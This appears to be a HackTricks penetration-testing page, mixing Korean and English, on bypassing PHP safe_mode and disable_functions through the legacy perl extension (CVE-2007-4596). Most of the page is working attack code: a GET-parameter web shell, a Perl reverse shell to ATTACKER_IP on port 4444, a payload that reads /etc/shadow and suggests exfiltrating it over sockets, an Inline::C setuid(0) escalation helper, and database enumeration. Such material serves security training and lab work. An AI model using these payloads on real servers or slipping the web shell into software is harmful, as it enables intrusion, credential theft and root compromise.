PHP Perl Extension Safe_mode Bypass Exploit

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

배경

The issue tracked as CVE-2007-4596 comes from the legacy perl PHP extension, which embeds a full Perl interpreter without honoring PHP’s safe_mode, disable_functions, or open_basedir controls. Any PHP worker that loads extension=perl.so gains unrestricted Perl eval, so command execution remains trivial even when all classic PHP process-spawning primitives are blocked. Although safe_mode disappeared in PHP 5.4, many outdated shared-hosting stacks and vulnerable labs still ship it, so this bypass is still valuable when you land on legacy control panels.

2025년에 테스트 가능한 환경 구성

  • The last publicly shipped build (perl-1.0.1, January 2013) targets PHP ≥5.0. Fetch it from PECL, compile it for the exact PHP branch you plan to attack, and load it globally (php.ini) or via dl() (if permitted).
  • Quick Debian-based lab recipe:
sudo apt install php5.6 php5.6-dev php-pear build-essential
sudo pecl install perl-1.0.1
echo "extension=perl.so" | sudo tee /etc/php/5.6/mods-available/perl.ini
sudo phpenmod perl && sudo systemctl restart apache2
  • During exploitation confirm availability with var_dump(extension_loaded('perl')); or print_r(get_loaded_extensions());. If absent, search for perl.so or abuse writable php.ini/.user.ini entries to force-load it.
  • Because the interpreter lives inside the PHP worker, no external binaries are needed—network egress filters or proc_open blacklists do not matter.

Original PoC (NetJackal)

From http://blog.safebuff.com/2016/05/06/disable-functions-bypass/, still handy to confirm the extension responds to eval:

<?php
if(!extension_loaded('perl'))die('perl extension is not loaded');
if(!isset($_GET))$_GET=&$HTTP_GET_VARS;
if(empty($_GET['cmd']))$_GET['cmd']=(strtoupper(substr(PHP_OS,0,3))=='WIN')?'dir':'ls';
$perl=new perl();
echo "<textarea rows='25' cols='75'>";
$perl->eval("system('".$_GET['cmd']."')");
echo "&lt;/textarea&gt;";
$_GET['cmd']=htmlspecialchars($_GET['cmd']);
echo "<br><form>CMD: <input type=text name=cmd value='".$_GET['cmd']."' size=25></form>";
?>

최신 페이로드 개선

1. TCP를 통한 Full TTY

임베디드 인터프리터는 /usr/bin/perl이 차단되어 있어도 IO::Socket을 로드할 수 있습니다:

$perl = new perl();
$payload = <<<'PL'
use IO::Socket::INET;
my $c = IO::Socket::INET->new(PeerHost=>'ATTACKER_IP',PeerPort=>4444,Proto=>'tcp');
open STDIN,  '<&', $c;
open STDOUT, '>&', $c;
open STDERR, '>&', $c;
exec('/bin/sh -i');
PL;
$perl->eval($payload);

2. open_basedir가 있어도 파일 시스템 탈출

Perl은 PHP의 open_basedir을 무시하므로 임의의 파일을 읽을 수 있습니다:

$perl = new perl();
$perl->eval('open(F,"/etc/shadow") || die $!; print while <F>; close F;');

출력을 IO::Socket::INET 또는 Net::HTTP로 파이프해 PHP가 관리하는 디스크립터를 건드리지 않고 데이터를 exfiltrate하세요.

3. Inline Compilation for Privilege Escalation

Inline::C가 시스템 전역에 설치되어 있다면, PHP의 ffi나 pcntl에 의존하지 않고 요청 내에서 헬퍼를 컴파일하세요:

$perl = new perl();
$perl->eval(<<<'PL'
use Inline C => 'DATA';
print escalate();
__DATA__
__C__
char* escalate(){ setuid(0); system("/bin/bash -c 'id; cat /root/flag'"); return ""; }
PL
);

4. Living-off-the-Land Enumeration

Perl을 LOLBAS 툴킷으로 취급하세요—예: mysqli가 없더라도 MySQL DSN을 덤프하세요:

$perl = new perl();
$perl->eval('use DBI; @dbs = DBI->data_sources("mysql"); print join("\n", @dbs);');

참고자료

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기